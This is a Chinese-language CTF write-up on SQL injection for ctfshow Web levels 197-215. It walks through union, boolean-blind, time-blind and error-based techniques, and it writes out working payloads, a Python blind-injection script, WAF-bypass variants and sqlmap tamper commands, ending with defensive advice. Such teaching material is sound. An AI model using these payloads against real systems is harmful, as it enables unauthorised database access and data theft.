1. CTF Web安全入门：SQL注入实战解析（197-215关）
作为一名打了三年CTF的老菜鸟，我至今记得第一次遇到SQL注入题时的茫然。当时对着题目页面反复刷新，完全不知道如何下手。直到后来系统学习了Web安全知识，才发现SQL注入不仅是CTF的常客，更是真实渗透测试中的高危漏洞。今天我就以ctfshow平台的Web入门197-215关为例，带大家拆解SQL注入的攻防逻辑。
这组题目设计得非常经典，涵盖了联合查询注入、布尔盲注、时间盲注、报错注入等主流手法，还涉及WAF绕过和sqlmap的实战应用。不同于网上那些只给payload的教程，我会重点讲解每个注入点的检测思路和原理分析——毕竟在真实场景中，没有现成的payload等着我们复制粘贴。
2. SQL注入基础与环境准备
2.1 必备工具清单
- 浏览器开发者工具（F12）：查看网络请求、修改参数
- Burp Suite Community：拦截和重放HTTP请求
- sqlmap：自动化SQL注入工具（需Python环境）
- Tamper脚本集合：用于绕过WAF的payload变形脚本
- 自定义字典：包含常见表名/列名（如admin,user,password等）
重要提示：所有测试务必在授权环境下进行，ctfshow平台已获得测试授权
2.2 注入原理速成课
SQL注入的本质是"数据与代码的混淆"。当用户输入被直接拼接到SQL语句时，攻击者可以通过构造特殊输入改变原语句逻辑。例如：
-- 原始语句 SELECT * FROM users WHERE id='$input' -- 注入攻击 input = 1' OR '1'='1 -- 最终执行 SELECT * FROM users WHERE id='1' OR '1'='1'3. 关卡实战详解（197-215）
3.1 基础联合查询注入（197-200关）
这四关是标准的字符型注入，考察联合查询的基础应用。以197关为例：
- 漏洞检测：
GET /challenge.php?id=1' AND 1=1--+ HTTP/1.1返回正常说明存在注入点
- 判断列数：
GET /challenge.php?id=1' ORDER BY 3--+当ORDER BY 4时报错，确认共3列
- 获取数据库信息：
GET /challenge.php?id=-1' UNION SELECT 1,database(),version()--+实战技巧：使用负数或不存在的id使原查询无结果，联合查询结果更清晰
3.2 布尔盲注进阶（201-205关）
当页面没有明显回显时，需要通过真/假条件判断：
import requests url = "http://challenge.ctf.show/api/check" for i in range(1,50): payload = f"admin' AND length(database())={i}--" r = requests.post(url, data={"username":payload}) if "exists" in r.text: print(f"Database length: {i}") break3.3 时间盲注实战（206-209关）
通过响应延迟判断条件真假：
1' AND IF(SUBSTRING(database(),1,1)='c',SLEEP(3),0)--+避坑指南：网络波动可能影响判断，建议设置5秒以上阈值
3.4 报错注入技巧（210-212关）
利用数据库报错信息泄露数据：
1' AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+3.5 WAF绕过艺术（213-215关）
这组题目开始出现安全防护，需要变形payload：
- 大小写混淆：
1' aNd 1=1--+- 注释符变形：
1' /*!50400AND*/ 1=1--- 使用sqlmap tamper：
sqlmap -u "http://target.com?id=1" --tamper=space2comment4. sqlmap高阶实战
4.1 基础扫描命令
sqlmap -u "http://target.com?id=1" --batch --dbs4.2 常用参数详解
| 参数 | 作用 | 示例 |
|---|---|---|
| --level | 测试等级(1-5) | --level=3 |
| --risk | 风险等级(1-3) | --risk=2 |
| --tamper | 使用混淆脚本 | --tamper=space2plus |
| --proxy | 设置代理 | --proxy="http://127.0.0.1:8080" |
4.3 实用tamper脚本
- space2comment：空格转注释
- between：用BETWEEN替换大于号
- randomcase：随机大小写
- charunicodeencode：字符转Unicode
5. 防御方案与总结
5.1 安全开发建议
- 使用预编译语句（PDO/mysqli）
- 最小权限原则配置数据库账户
- 输入验证白名单机制
- 错误信息不包含敏感数据
5.2 个人踩坑记录
- MySQL 5.7+版本对报错注入有限制
- 时间盲注在低带宽环境下不可靠
- 部分WAF会检测常见注释符如"--"
- sqlmap默认配置可能触发防护机制
在真实渗透测试中，SQL注入往往需要结合其他漏洞利用。比如先通过XSS获取管理员cookie，再进入后台寻找注入点。ctfshow这组题目虽然简化了场景，但确实覆盖了SQL注入的核心知识点。建议大家在通关后尝试搭建DVWA或WebGoat环境进行更贴近实战的练习。
